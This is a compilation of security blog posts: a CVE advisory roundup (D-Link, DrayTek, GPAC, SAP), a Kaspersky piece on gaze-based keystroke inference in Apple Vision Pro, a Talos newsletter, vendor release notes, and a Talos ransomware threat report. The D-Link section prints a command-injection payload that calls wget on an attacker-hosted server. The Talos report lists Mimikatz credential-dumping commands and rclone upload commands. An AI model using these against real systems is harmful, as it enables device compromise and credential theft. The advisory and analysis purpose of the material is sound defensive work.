Four Critical Vulnerabilities Added to CISA’s Exploited Vulnerabilities Catalog

Overview

The Cybersecurity and Infrastructure Security Agency (CISA) has recently added four new vulnerabilities to its Known Exploited Vulnerabilities Catalog, signaling ongoing active exploitation. These vulnerabilities present significant risks for organizations that rely on the affected technologies.

CISA’s update highlights several critical vulnerabilities. The first, CVE-2023-25280, pertains to an OS command injection vulnerability found in the D-Link DIR-820 Router. Next, CVE-2020-15415 affects multiple DrayTek Vigor routers, also involving an OS command injection. 

Another important vulnerability, CVE-2021-4043, is related to a null pointer dereference in the Motion Spell GPAC. Lastly, CVE-2019-0344 involves a deserialization of untrusted data vulnerability in SAP Commerce Cloud. 

Technical Details of the Vulnerabilities

CVE-2023-25280: D-Link DIR-820 Router

Published on March 16, 2023, a critical OS command injection vulnerability has been identified in the D-Link DIR-820LA1_FW105B03 router, allowing attackers to escalate privileges to root. This vulnerability is exploited through a crafted payload that targets the ping_addr parameter, posing a serious risk for devices connected to the internet. Specifically, the command injection vulnerability resides in the pingV4Msg function of the “/ping.ccp” component, enabling an attacker to elevate privileges to root.

The affected version is DIR820LA1_FW105B03, and details regarding the vulnerability indicate that it is located in the /sbin/ncc2 file directory. The vulnerable sub_49EDF8 function retrieves the content of the ping_addr variable from requests to /ping.ccp, allowing the execution of system commands. When the ccp_act parameter is set to pingV4Msg, the ccp_ping function references this vulnerable function, creating an avenue for command execution.

Despite efforts to filter potentially harmful input, the function does not adequately filter symbols such as %0a and $, enabling attackers to bypass defenses. To reproduce the vulnerability, specific steps can be followed using the FirmAE simulation firmware. For example, an attacker might initiate a local web server and utilize a crafted attack vector like “ccp_act=pingV4Msg&ping_addr=%0awget http://192.168.0.2%0a” to execute the attack.

CVE-2020-15415: DrayTek Vigor Routers

This vulnerability affects DrayTek Vigor3900, Vigor2960, and Vigor300B devices running versions prior to 1.5.1. It allows for remote command execution through shell metacharacters in a filename, particularly when the text/x-python-script content type is used, posing risks for users of these routers. The security advisory regarding this issue is identified by CVE-2020-14472 and CVE-2020-15415, both of which are classified as critical.

DrayTek has acknowledged the potential exploitation related to the WebUI of the Vigor 2960, 3900, and 300B models. On June 17, 2020, the company released an updated firmware version to address this vulnerability. Affected users are urged to upgrade their firmware to version 1.5.1.1 or later as soon as possible. In the meantime, if immediate upgrading is not feasible, users should disable remote access to their devices or implement an access control list (ACL) for remote access until they can perform the upgrade.

Firmware downloads are available specifically for the UK and Ireland regions. Users who have remote access enabled on their routers are advised to disable it if it is unnecessary, and if remote access must be maintained, it should be restricted using an ACL, which allows only a predefined list of permitted IP addresses to access the router remotely. Alternatively, users can permit remote administration exclusively through a secure VPN or utilize VigorACS for central management.

CVE-2021-4043: Motion Spell GPAC

Identified on February 4, 2022, a null pointer dereference vulnerability in the GPAC library affects versions prior to 1.1.0 and is classified as a medium severity risk with a CVSS score of 5.8. This vulnerability is categorized under CWE-476, which specifically addresses issues related to null pointer dereferencing, where the product attempts to access a pointer expected to be valid but is, in fact, null.

The common consequences of such vulnerabilities include denial of service (DoS), as NULL pointer dereferences often lead to process failures unless exception handling is implemented. Even with exceptional handling, restoring the software to a safe operational state can be quite challenging. In rare cases, if NULL corresponds to the memory address 0x0 and privileged code can access it, it may allow for unauthorized code execution or memory manipulation.

To mitigate the risks associated with null pointer dereference vulnerabilities, it is crucial to check all pointers that could have been modified for NULL before use. Selecting programming languages that inherently reduce susceptibility to such issues can also be beneficial. Additionally, developers should verify the results of all functions returning values to ensure they are non-null prior to use. While checking return values can be effective, it is essential to remain vigilant about race conditions in concurrent environments.

CVE-2019-0344: SAP Commerce Cloud

Published on August 14, 2019, a vulnerability in SAP Commerce Cloud arises from unsafe deserialization, impacting multiple versions and potentially allowing arbitrary code execution with ‘Hybris’ user rights. This vulnerability, identified as CVE-2019-0344, specifically affects versions 6.4, 6.5, 6.6, 6.7, 1808, 1811, and 1905 of the virtualjdbc extension, enabling code injection attacks.

CVE-2019-0344 is characterized by its ability to permit attackers to execute arbitrary code on a target system due to insecure deserialization within the virtualjdbc extension of SAP Commerce Cloud. Exploiting this vulnerability can result in the execution of arbitrary code on affected machines, leveraging the privileges associated with the ‘Hybris’ user.

The vulnerability’s technical details reveal that the insecure deserialization process introduces a critical risk for code injection. To mitigate and prevent potential exploitation, immediate actions are necessary. Users are advised to apply security patches provided by SAP promptly, monitor for unauthorized code execution or unusual system behavior, and restrict access to vulnerable systems.

For long-term security, it is essential to regularly update and patch SAP Commerce Cloud to address known vulnerabilities and implement secure coding practices to prevent future code injection attacks. Ensuring that all systems running the virtualjdbc extension are updated with the latest security patches is crucial in maintaining the integrity and security of the platform.

Conclusion

The vulnerabilities listed by CISA present significant security risks, particularly for organizations using the affected products. Organizations must remain vigilant, promptly address these vulnerabilities, and apply necessary patches or updates. By prioritizing cybersecurity and addressing these vulnerabilities proactively, organizations can enhance their security posture and reduce the risk of exploitation.

Recommendations and Mitigations


Organizations should assess their systems for these vulnerabilities and implement the latest security patches.

Regularly monitor systems for any signs of exploitation related to these vulnerabilities.

Ensure that IT staff are aware of these vulnerabilities and the steps needed for mitigation.

Update security policies and incident response plans to account for potential exploits linked to these vulnerabilities.

The post Four Critical Vulnerabilities Added to CISA’s Exploited Vulnerabilities Catalog appeared first on Cyble.

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How to snoop on what an Apple Vision Pro user is typing | Kaspersky official blog

In September 2024, a team of researchers from both the University of Florida and Texas Tech University presented a paper detailing a rather sophisticated method for intercepting text entered by users of the Apple Vision Pro mixed reality (MR) headset.

The researchers dubbed this method GAZEploit. In this post, we’ll explore how the attack works, the extent of the threat to owners of Apple VR/AR devices, and how best to protect your passwords and other sensitive information.

How text input works in Apple visionOS

First, a bit about how text is input in visionOS — the operating system powering Apple Vision Pro. One of the most impressive innovations of Apple’s MR headset is its highly effective use of eye tracking.

Gaze direction serves as the primary method of user interaction with the visionOS interface. The tracking is so precise that it works even for the smallest interface elements — including the virtual keyboard.

visionOS uses a virtual keyboard and eye tracking to input text. Source

Although visionOS offers voice control, the virtual keyboard remains the primary text input method. For sensitive information such as passwords, visionOS provides protection against prying eyes: in screen-sharing mode, both the keyboard and the entered password are automatically hidden.

During screen sharing, visionOS automatically hides passwords entered by Vision Pro users. Source

Another key feature of Apple’s MR headset lies in its approach to video calls. Since the device sits directly on the user’s face, the standard front-camera option is no good for transmitting the user’s video image. On the other hand, using a separate external camera for video calls would be very un-Apple-like; plus, video-conference participants wearing headsets would look rather odd.

So Apple came up with a highly original technology that features a so-called virtual camera. Based on a 3D face scan, Vision Pro creates a digital avatar of the user (Apple calls it a Persona), which is what actually takes part in the video call. You can use your Persona in FaceTime and other video-conferencing apps.

By using lots of biometric data, the Persona digital avatar in visionOS looks truly lifelike. Source

The headset’s sensors track the user’s face in real-time, allowing the avatar to mimic head movements, lip movements, facial expressions, and so on.

GAZEploit: How to snoop on Apple Vision Pro user input

For the GAZEploit researchers, the seminal feature of the Persona digital avatar is the use of data fed from the Vision Pro’s highly precise sensors to replicate the user’s eye movements with absolute pinpoint accuracy. And it was here that the team discovered a vulnerability enabling interception of input text.

Here’s how GAZEploit works in principle — allowing an attacker to intercept text entered by an Apple Vision Pro user. Source

The attack’s core concept is quite simple: although the system carefully hides passwords entered during video calls, by tracking the user’s eye movements, mirrored by their digital avatar, a threat actor can reconstruct the characters entered on the virtual keyboard, or, rather, keyboards, as visionOS has three: passcode (PIN) keyboard, default QWERTY keyboard, and number and special character keyboard. This complicates the recognition process, since an outside observer doesn’t know which keyboard is in use.

visionOS actually has three different virtual keyboards: (а) for passcodes, (b) for letters, and (c) for numbers and special characters. Source

However, neural networks effectively automate the GAZEploit attack. The first stage of the attack uses a neural network to identify text-input sessions. Eye movement patterns during use of the virtual keyboard differ significantly from normal patterns: blink rates decrease, and gaze direction becomes more structured.

First, the neural network identifies when text is being entered on the virtual keyboard. Source

At the second stage, the neural network analyzes gaze stability changes to identify eye-based selection of characters, and uses characteristic patterns to pinpoint virtual key presses. Then, based on gaze direction, the system calculates which key the user was looking at.

Next, the neural network recognizes individual virtual keystrokes and the characters being entered. Source

How accurately GAZEploit recognizes input data

In actual fact, it’s all a bit more complicated than the graph above suggests. Calculations based on the avatar’s eye position generate a heatmap of probable points on the virtual keyboard where the user’s gaze might have landed during text entry.

Mapped gaze directions for keystroke inference of the demo attack: (a) adaptive virtual keyboard mapping, (b) predicted first guess keystrokes, (c) actual keystrokes. The accuracy isn’t perfect, but it’s no bad. Source

Then, the researchers’ model converts the collected information into a list of K virtual keys that were most likely “pressed” by the user. The model also provides for various data-entry scenarios (password, email address/link, PIN, arbitrary message), taking into account the specifics of each.

What’s more, the neural network uses a dictionary and additional techniques to improve interpretation. For example, due to its size, the spacebar is often a top-five candidate — producing many false positives that need filtering. The backspace key requires special attention: if the keystroke guess is correct, it means the previous character was deleted, but if it’s wrong, then two characters may get mistakenly discarded.

GAZEploit suggests the top-five most likely characters. Source

The researchers’ detailed error analysis shows that GAZEploit often confuses adjacent keys. At maximum precision (K=1), roughly one-third of entered characters are identified correctly. However, for groups of five most likely characters (K=5), depending on the specific scenario, the accuracy is already 73–92%.

The accuracy of GAZEploit recognition in various scenarios. Source

How dangerous the GAZEploit attack is in practical terms

In practice, such accuracy means that potential attackers are unlikely to obtain the target password in ready-to-go form; but they can dramatically — by many orders of magnitude, in fact — reduce the number of attempts needed to brute-force it.

The researchers claim that for a six-digit PIN, it’ll only take 32 attempts to cover a quarter of all the most likely combinations. For a random eight-character alphanumeric password, the number of attempts is slashed from hundreds of trillions to hundreds of thousands (from 2.2×1014 to 3.9×105, to be precise), which makes password cracking feasible even with a prehistoric Pentium CPU.

In light of this, GAZEploit could pose a serious enough threat and find practical application in high-profile targeted attacks. Fortunately, the vulnerability has already been patched: in the latest versions of visionOS, Persona is suspended when the virtual keyboard is in use.

Apple could conceivably protect users from such attacks in a more elegant way — by sprinkling some random distortions in the precise biometric data driving the digital avatar’s eye movements.

Regardless, Apple Vision Pro owners should update their devices to the latest version of visionOS — and breathe easily. One last thing, we advise them — and everyone else — to exercise caution when entering passwords during video calls: avoid it if you can, always use the strongest (long and random) character combinations possible, and use a password manager to create and store them.

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CISA is warning us (again) about the threat to critical infrastructure networks

Government-run water systems and other critical infrastructure are still at risk from state-sponsored actors, according to a renewed warning from the U.S. Cybersecurity and Infrastructure Security Agency.  

CISA released an advisory last week on the matter of days after a small water treatment facility in Kansas was forced into manual operations after a cyber attack.  

I feel like this is just the latest in a string of warnings that we’ve been talking about since the Colonial Pipeline attack in 2021 that forced a gasoline shortage across the Eastern U.S. We’ve been discussing the importance of defending critical infrastructure for years now, so what’s new now? 

For starters, it seems like the frequency of these attacks seems to be on the rise. And many efforts to regulate cybersecurity policies and procedures in the industry have thus far fallen flat. 

The White House is reportedly working on rolling out a second wave of cybersecurity recommendations for water treatment facilities on the back of the attack in Kansas that affected the public water supply of 11,000 people. Although the cyber attack did not actually affect anyone from getting their water, it does raise the question of how much of an issue this could be if a state-sponsored actor were to target a facility in a town with a larger population, or if there weren’t backup plans in place to operate the facility manually.  

The U.S. Environmental Protection Agency (EPA) said last year that it had to pull a memo outlining cybersecurity standards at water treatment plants because of constant legal action from state and federal lawmakers and private water companies. And the American Water Works Association (a non-profit lobbying organization representing more than 50,000 members) has advocated for facilities and groups like the AWWA to write their own cybersecurity policies rather than relying on the U.S. government.  

All of that is to say, despite what lessons we thought we learned from Colonial Pipeline, none of those lessons have been able to be put into practice, and we’re still where we were with cybersecurity policies and regulations three years ago.  

Despite urging from the industry and some lawmakers, I’ve yet to see these groups write any of their own policies, so even if they have that power, they don’t seem to be taking advantage of it. So when CISA puts out this type of alert again in a few months after whatever future incident lies ahead, I would expect to see more action from all parties involved rather than another round of words warning that attacks can, and will, happen. 

The one big thing 

Talos has recently observed an attack leading to the deployment of a MedusaLocker ransomware variant known as “BabyLockerKZ.” This actor has been active since at least late 2022 and targets organizations worldwide, although the number of victims was higher than average in EU countries until mid-2023 and, since then, in South American countries. We assess with medium confidence that the actor is financially motivated, likely working as an IAB or an affiliate of a ransomware cartel. 

Why do I care? 

The actor behind these attacks seems to be particularly active, infecting more than 100 organizations per month, according to Talos telemetry. This reveals the professional and highly aggressive nature of the attacks and is coherent with the activity we would expect from an IAB or ransomware affiliate. As with any ransomware, BabyLockerKZ looks to encrypt targets’ files and lock them down until the target pays the request ransom.  

So now what? 

Talos has released several new Snort rules and ClamAV signatures that detect the activity of this group and BabyLockerKZ. This group is also known to use several publicly available tools in their attacks, such as Mimikatz, which are well-known to the security community at this point. For more on living-off-the-land binaries (LoLBins) that attackers like this one are increasingly using, read our blog post here.  

Top security headlines of the week 

International law enforcement agencies worked together to arrest and unmask four individuals believed to be associated with the LockBit ransomware group. As part of this campaign, investigators have also linked one of the LockBit members to Evil Corp, a Russian-backed cybercrime gang. At a press conference announcing the arrests, representatives from the U.K.’s National Crime Agency said that Evil Corp maintained a “privileged” relationship with the Russian government and was often asked to carry out targeted cyber attacks against NATO countries. LockBit is traditionally associated with financially motivated ransomware attacks targeting private companies, regardless of the country in which they reside. Europol, the U.K. NCA, the U.S. FBI and Japan’s National Police have also worked together to create and release a decryptor that can unlock files affected by the LockBit ransomware. The same agencies have been working since last year to target and seize assets and servers belonging to LockBit. The threat actor has taken credit for several major attacks over the past several years, including those targeting Boeing, Volkswagen, multiple major international ports and government-owned computers in Fulton County, Georgia. (Europol, TechCrunch

The latest version of the U.S.’s National Institute of Standards and Technology’s password recommendations drop complexity in favor of length. NIST’s latest version of its Password Guidelines removes the recommendations that passwords use a mixture of character types and that they be changed often. Instead, the draft states that credential service providers (CSPs) recommend users create passwords between 15 and 64 characters that may include ASCII or Unicode characters. The previous version of the NIST standards led many users to adopt easy-to-guess passwords such as “Password1234!” or store the complicated passwords in easy-to-access places, such as written down on a piece of paper near their computer. CSPs are also instructed to drop knowledge-based authentication or security questions when selecting passwords. NIST standards are important because they formalize principles widely adopted by the U.S. government and major technology companies like Microsoft and Google. The latest draft also states that users only need to change their passwords in the event of a publicly reported data breach. (Infosecurity Magazine, Dark Reading

A vulnerability in a web app from car manufacturer Kia could allow an attacker to view a car’s license plate, unlock the doors, and even remotely start the ignition. The since-patched vulnerability in Kia’s web portal could allow attackers to essentially build and deploy their own web app and reassign control of the internet-connected features of most modern Kia vehicles. The vulnerability could have allowed an adversary to immediately ping the location of a targeted vehicle, process its license plate number, and even honk the horn. This is the second such vulnerability the group of researchers has disclosed to a Hyundai-owned company in the past two years. The vulnerability highlights the risk that modern vehicles come with, many of which rely on internet connectivity for some of their features or interface with web apps, websites or mobile phone apps. A proof of concept from the researchers included a dashboard that could allow an attacker to type in a license plate number and then retrieve the owner’s personal information, eventually adding themselves as an “owner” of the car and executing commands on the vehicle. (Wired, Security Week

Can’t get enough Talos? 

Resurgence of Spam: Cisco Talos Sound Alarm on New Tactics Critical RCE vulnerability found in OpenPLC Simple Mail Transfer Pirates: How threat actors are abusing third-party infrastructure to send spam 

Upcoming events where you can find Talos

MITRE ATT&CKcon 5.0 (Oct. 22 – 23) 

McLean, Virginia and Virtual

Nicole Hoffman and James Nutland will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as they take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics and procedures.

it-sa Expo & Congress (Oct. 22 – 24) 

Nuremberg, Germany

White Hat Desert Con (Nov. 14) 

Doha, Qatar

misecCON (Nov. 22) 

Lansing, Michigan

Terryn Valikodath from Cisco Talos Incident Response will explore the core of DFIR, where digital forensics becomes detective work and incident response turns into firefighting.

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 
MD5: 71fea034b422e4a17ebb06022532fdde 
Typical Filename: VID001.exe 
Claimed Product: N/A 
Detection Name: RF.Talos.80 

SHA 256: 76491df69a26019139ac11117cd21bf5d0257a5ebd3d67837f558c8c9c3483d8 
MD5: b209df2951e29ab5eab4009579b10b8d
Typical Filename: FileZilla_3.67.1_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.76491DF69A-95.SBX.TG

SHA 256: c20fbc33680d745ec5ff7022c282a6fe969c6e6c7d77b7cfac34e6c19367cf9a 
MD5: 3bc6d86fc4b3262137d8d33713ed6082 
Typical Filename: 8c556f0a.dll 
Claimed Product: N/A 
Detection Name: Gen:Variant.Lazy.605353 

SHA 256: f0d7a2bb0c5db162332418747ba4987027b8a746b24c919a24235ff3b70d25e3 
MD5: 0d849044612667362bc88780baa1c1b7 
Typical Filename: CryptX.dll 
Claimed Product: N/A  
Detection Name: Gen:Variant.Lazy.605353 

SHA 256: 331fdf5f1f5679a6f6bb0baee8518058aba8081ef8f96e57fa3b74291fcbb814 
MD5: f23b90fc9bc301baf3e399e189b6d2dc 
Typical Filename: B.dll 
Claimed Product: N/A   
Detection Name: Gen:Variant.Lazy.605353 

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Release Notes: Safebrowsing, Private AI Assistant, Splunk Integration, and more

Welcome to ANY.RUN‘s monthly updates, where we share our team’s achievements over the past month. 

September has been a productive month at ANY.RUN, packed with exciting new features and improvements. We’ve launched Safebrowsing, a powerful tool that lets you safely check suspicious URLs in an isolated browser. 

In addition to that, we’ve integrated with Splunk, enhanced our sandbox capabilities, and rolled out new signatures and YARA rules to help you strengthen your security. 

Let’s break down what’s new in ANY.RUN step by step.

Safebrowsing for Quick URL Checks 

Safebrowsing lets you quickly open any URL in an interactive virtual browser

We’ve released Safebrowsing, a new tool that allows ANY.RUN users to safely analyze suspicious URLs within a fully interactive, isolated browser. It is a quick and secure way to explore websites and verify potentially malicious content without putting your local system at risk. 

You can interact with suspicious links in real time, detect threats using our proprietary technology, and receive detailed reports, including Indicators of Compromise (IOCs) and network traffic analysis.  

Now available in free beta for all ANY.RUN users, it adds a new layer of security to your daily operations. 

Explore suspicious URLs with Safebrowsing for free 



Try it now


New Integration with Splunk 

In September, ANY.RUN officially launched an integration with Splunk. It brings access to our Interactive Sandbox and Threat Intelligence Lookup directly in the Splunk SOAR environment. 

ANY.RUN integration with Splunk 

With this integration, Splunk users can now analyze potentially malicious files and URLs in ANY.RUN’s sandbox and enrich their investigations using TI Lookup with comprehensive threat intelligence from TI Lookup—all without leaving Splunk.  

Key features: 

Comprehensive threat intelligence: Query ANY.RUN’s threat intelligence database directly from Splunk SOAR using the ‘get intelligence’ action. 

Automated malware analysis: Automatically detonate files and URLs in ANY.RUN’s sandbox as part of a Splunk SOAR playbook. 

Detailed reporting & IOC extraction: Quickly retrieve detailed reports and extract IOCs for further threat investigation and response. 

Advanced threat hunting: Perform complex queries against ANY.RUN’s threat intelligence database to search for file hashes, IP addresses, domains, and more. 

AI Assistant for Private Sandbox Sessions 

We’ve improved the sandbox’s AI capabilities by replacing the ChatGPT assistant with our own private AI model. Now you can access AI-powered explanations in both public and private analysis sessions, without worrying about your data going to any third party.

AI assistance inside ANY.RUN’s sandbox 

This private AI model is especially useful for those new to the cybersecurity field.

It breaks down complex data quickly, helping you better navigate your analysis and extract useful insights.

Integrate ANY.RUN’s Sandbox and Threat Intelligence solutions in your organization 



Request a demo


Security Training Lab 

In September, we launched Security Training Lab, a new program designed to equip future cybersecurity professionals with practical, hands-on skills.

Universities often struggle to keep their curricula up to date, but Security Training Lab bridges the gap between theory and real-world practice. 

Through in-depth modules and access to ANY.RUN’s tools, students gain valuable experience in detecting and responding to real threats.  

Key advantages of Security Training Lab include: 

30 hours of academic content: Including written materials, video lectures, and interactive tasks. 

Access to ANY.RUN: Students and instructors use real-world tools to analyze threats. 

Practical learning: Hands-on experience with real cyber threat samples. 

Network Detections Update 

In September, we added 459 new Suricata rules, of which 382 are dedicated to phishing detection.

This significant increase comes from closely monitoring the activity of threat actor Storm-1575, leading to the identification of two primary tools currently used by this group. 

New Signatures 

In September, we added a total of 9 new signatures. Here are some highlights:  

Stealc signature for mutex detection 

Razr signature for .raz file extension 

SFX Dropper signature  

Alucard ransomware  

Tgbdownloader adware  

Xmrig mutex and file drop detection 

Hawkeye ransomware detection  

Scheduled task creation via Registry  

EFI boot file modification  

YARA Rules Update 

We’ve added 5 new YARA rules to detect various malware threats: 

Megatools downloader  

Goldeneye ransomware  

Diablonet detection 

Pown ransomware  

AutoIT scripts detection  

Additionally, we’ve updated the YARA rule for Lumma, enhancing the detection mechanism for this threat.  

About ANY.RUN  

ANY.RUN helps more than 400,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, Yara Search and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.  

With ANY.RUN you can: 

Detect malware in seconds

Interact with samples in real time

Save time and money on sandbox setup and maintenance

Record and study all aspects of malware behavior

Collaborate with your team 

Scale as you need

Request free trial of ANY.RUN’s products →

The post Release Notes: Safebrowsing, Private AI Assistant, Splunk Integration, and more appeared first on ANY.RUN’s Cybersecurity Blog.

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Threat actor believed to be spreading new MedusaLocker variant since 2022

Cisco Talos has discovered a financially motivated threat actor, active since 2022, recently observed delivering a MedusaLocker ransomware variant. Intelligence collected by Talos on tools regularly employed by the threat actor allows us to see an estimate of the amount and countries of origin of this group’s victims. This actor has been active since at least late 2022 and targets organizations worldwide, although the number of victims was higher than average in EU countries until mid-2023 and, since then, in South American countries.This threat actor was observed distributing a MedusaLocker ransomware variant known as “BabyLokerKZ.” This variant is compiled with a PDB path containing the word “paid_memes” that is also present in other tools observed during the attacks, presumably by the same author.Talos has new information on the attacker’s tools, including BabyLockerKz and attacker TTPs and IOCs to assist in detecting and preventing further attacks.

Talos has recently observed an attack leading to the deployment of a MedusaLocker ransomware variant known as “BabyLockerKZ.” The distinguishable techniques — including consistently storing the same set of tools in the same location on compromised systems, the use of tools that have the PDB path with the string “paid_memes,” and the use of a lateral movement tool named “checker” — used in the attack led us to take a deeper look to try to understand more about this threat actor. 

This attacker uses several publicly known attack tools and living-off-the-land binaries (LoLBins), a set of tools built by the same developer (possibly the attacker) to assist in credential theft and lateral movement in compromised organizations. These tools are mostly wrappers around publicly available tools that include additional functionality to streamline the attack process and provide graphical or command-line interfaces. 

The same developer built the MedusaLocker variant used in the initial attack. This variant that uses the same chat and leak site URLs contains several differences to the original MedusaLocker ransomware, such as a different autorun key or an extra public and private key set stored in the registry. Based on the name of the autorun key, the attackers call this variant “BabyLockerKZ.” 

We assess with medium confidence that the actor is financially motivated, likely working as an IAB or an affiliate of a ransomware cartel, and has been carrying out attacks since at least 2022. Our telemetry indicates that the actor opportunistically targeted many victims worldwide. In late 2022 and early 2023, most victims were in European countries, but since the first quarter of 2023, the group’s focus shifted toward South American countries and, as a result, the number of victims per month almost doubled.

Tracking BabyLockerKZ across the globe

Intelligence collected by Talos on tools regularly employed by the threat actor allows us to estimate the number of, and the countries of origin of the victims. Although this is unlikely to capture all of the adversary’s activities, it still provides a look at a specific window of activity.

The actor has been active since at least October 2022. At that time, the targets were mostly located in European countries such as France, Germany, Spain or Italy. During the second  quarter of 2023, the attack volume per month almost doubled, and the group shifted its focus toward South American countries such as Brazil, Mexico, Argentina and Colombia, as shown in the chart below. The attacks kept a steady volume of around 200 unique IPs compromised per month until the first quarter of 2024 when the attacks decreased.

The actor has consistently compromised a large number of organizations, often more than 100 per month, since at least 2022. This reveals the professional and highly aggressive nature of the attacks and is coherent with the activity we would expect from an IAB or ransomware affiliate.

Attacker TTPs and tools

During the attack leading to the deployment of the BabyLockerKZt, the adversary used several publicly known attack tools and others that could be unique to this actor. The group frequently used the Music, Pictures or Documents user folders of compromised systems to store attack tools. For example, the following paths were used to store tools during this attack:

c:users<user>musicadvanced_port_scanner_2.5.3869.exec:users<user>musichrswordhrsword install.batc:users<user>musickillavbuild.004disabler.exec:/users/<user>/music/checker/checker(222).exec:/users/<user>/music/checker/invoke-thehash.ps1c:/users/<user>/music/checker/checker (222).exec:/users/<user>/music/checker/invoke-smbexec.ps1c:/users/<user>/music/checker/invoke-wmiexec.ps1c:/users/<user>/appdata/roaming/ntsystem/ntlhost.exe.exec:/users/<user>/appdata/local/temp/advanced port scanner 2/advanced_port_scanner.exec:/users/<user>/appdata/local/temp/is-juad3.tmp/advanced_port_scanner_2.5.3869.tmp

These are similar to a previous attack leading to MedusaLocker ransomware, documented by ASEC in February 2023, which our telemetry suggests was a more active period for this threat actor.

Some of the publicly known tools used by the attacker are:

HRSword_v5.0.1.1.rar: A tool used to disable AV and EDR software.Advanced_Port_Scanner_2.5.3869.exe: A network-scanning tool with several additional features to map internal networks and devices.Netscan.exe: SoftPerfect Network Scanner: A tool similar to Advanced Port Scanner.Processhacker.exe: Process Monitoring and administration software. Allows a TA to enumerate and control processes running on the infected endpoint.PCHunter64.exe: A tool similar to processhacker.Mimikatz: A tool to dump Windows user credentials from memory.

While most of the tools the attacker uses are publicly available, they also use some tools that are not widely distributed that streamline the attack process by automating the interaction between popular attack tools (e.g., Mimikatz, Invoke-the-hash, PSEXEC, RDP) and by adding convenient functionality and interfaces. One of these tools, called “Checker” used in an attack that deployed BabyLockerKZ, consisted of pivotal characteristics of BabyLockerKZ, the “Checker” tool has a PDB path containing the string “paid_memes”. Pivoting off this string, we identified files on VirusTotal, of which most are BabyLockerKZ samples. We also discovered several other tools, which we’ll outline below.

Checker tool

Checker (E:paid_memeswmi_smb_rdp_checkerReleasechecker.pdb) is an app that bundles several other freely available apps and provides a GUI for management of credentials as the attackers proceed with lateral movement. In particular it contains a set of tools:

Remote Desktop PlusPSEXECMIMIKATZ

And a set of scripts based on the Invoke-TheHash tool.

The tool also contains a GUI, as shown below, and a database to store the credentials.

As the image illustrates, the tool can be used to scan IPs for valid credentials using several protocols/techniques (PSEXEC, RDP, SMB and WMI) and is prepared to import data from lists of hosts and some of the tools in the attacker toolset, such as Mimikatz, as well as an advanced port scanner. The tool can also decrypt hashes and offers the convenience of a GUI to store a database of the hosts and respective credentials that have been obtained or verified.

PTH project

The PTH (D:Projectspaid_memesPTHReleasePTH.pdb) name suggests the pass-the-hash technique to use NTLM hashes to authenticate remotely without having to crack the password. Looking at its resources it embeds:

Invoke-SMBClient.ps1Invoke-SMBEnum.ps1Invoke-SMBExec.ps1Invoke-TheHash.ps1Invoke-WMIExec.ps1

These were also used in the checker tool and are part of Invoke-TheHash. According to the author: 

“Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side.”

MIMIK tool

MIMIK (D:Projectspaid_memesmimikReleasestub_mimik.pdb) is a wrapper around Mimikatz and rclone that can be used to steal credentials and automatically upload them to an attacker-controlled server. The following image shows the terminal output for the tool.

The following command lines are examples of commands executed via the tool:

64.exe privilege::debug sekurlsa::logonPasswords token::elevate lsadump::sam full exit C:UsersuserDesktop64.exe 64.exe “privilege::debug” “sekurlsa::logonPasswords” “token::elevate” “lsadump::sam full” exit 64.exe “privilege::debug” “sekurlsa::logonPasswords” “token::elevate” “lsadump::sam full” exitC:UsersuserDesktoprclone.exe rclone rcd –rc-no-auth –bwlimit=30MC:UsersuserDesktoprclone.exe rclone rc operations/stat

BabyLockerKZ

BabyLockerKZ is a variant of MedusaLocker that has been around at least since late 2023 and has been analyzed by other researchers, although not specifically called out as a MedusaLocker variant with this name. 

A Cynet blog post on the malware used the name “Hazard” for a MedusaLocker variant (named after the extension used for encrypted files) and mentions the existence of the BabyLockerKZ registry key. 

Another post from Whitehat mentions the existence of PAIDMEMES PUBLIC and PRIVATE registry keys on a MedusaLocker sample. 

This variant has not been given much attention outside of that, though, possibly because it’s highly similar to MedusaLocker or because it uses the same chat and leak sites as MedusaLocker. But there are several notable differences between BabyLockerKZ and MedusaLocker, such as:

No {8761ABBD-7F85-42EE-B272-A76179687C63} mutex.No MDSLK reg key.The PAIDMEMES Public and private keys.The BabyLockerKZ run key.

The use of the PAIDMEMES public and private keys is unclear. In their post, Whitehat mentioned that they believe the keys aren’t necessary for the encryption process, as the Linux version doesn’t use them. Further research into the use of these keys might be a topic for another blog post.

Coverage

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. SIDs for this threat: Snort3 Rules: 1:300998:1:0 Snort2 Rules: 1:63928:1:0, 1:63929:1:0

ClamAV detections are also available for this threat:
Win.Ransomware.MedusaLocker-10035000-1
Win.Tool.PassTheHash-10034996-0
Win.Ransomware.MedusaLocker-10035000-0

Indicators of Compromise

IOCs for this research can be found at our Github repository here

BabylockerKZ:

33a8024395c56fab4564b9baef1645e505e00b0b36bff6fad3aedb666022599a

